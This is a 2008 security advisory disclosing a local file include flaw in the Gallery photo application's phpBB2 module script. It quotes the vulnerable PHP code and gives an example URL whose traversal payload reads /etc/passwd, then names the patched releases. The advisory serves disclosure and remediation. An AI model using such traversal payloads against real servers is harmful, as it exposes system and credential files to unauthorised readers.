[DSECRG-08-035] Local File Include Vulnerability in Gallery 1.5.7, 1.6-alpha3
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-035
Application: Gallery
Versions Affected: 1.5.7, 1.6-alpha3
Vendor URL: http://gallery.menalto.com/
Bug: Local File Include
Exploits: YES
Reported: 14.07.2008
Vendor response: 15.07.2008
Solution: YES
Date of Public Advisory: 08.08.2008
Authors: Digital Security Research Group [DSecRG]
(research [at] dsec [dot] ru)
Description
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Gallery system has local file include vulnerability in script
contrib/phpBB2/modules.php
Successful exploitation requires that "register_globals" is enabled.
Code
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switch ($_REQUEST['op']) {
case 'modload':
// Added with changes in Security for PhpBB2.
define('IN_PHPBB', true);
define ("LOADED_AS_MODULE","1");
$phpbb_root_path = "./";
// connect to phpbb
include_once($phpbb_root_path . 'extension.inc');
include_once($phpbb_root_path . 'common.'.$phpEx);
include_once($phpbb_root_path . 'includes/functions.'.$phpEx);
#################################################
Example:
http://[server]/[installdir]/contrib/phpBB2/modules.php?op=modload&phpEx=../../../../../../../../../../../../../etc/passwd
Solution
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Vendor fix this flaw on 05.08.2008. Download Gallery 1.5.8 and 1.6-RC1 from
download page on SourceForge:
http://sourceforge.net/project/showfiles.php?group_id=7130&package_id=7239&abmode=1
More information about release:
http://gallery.menalto.com/gallery_1.5.8_released
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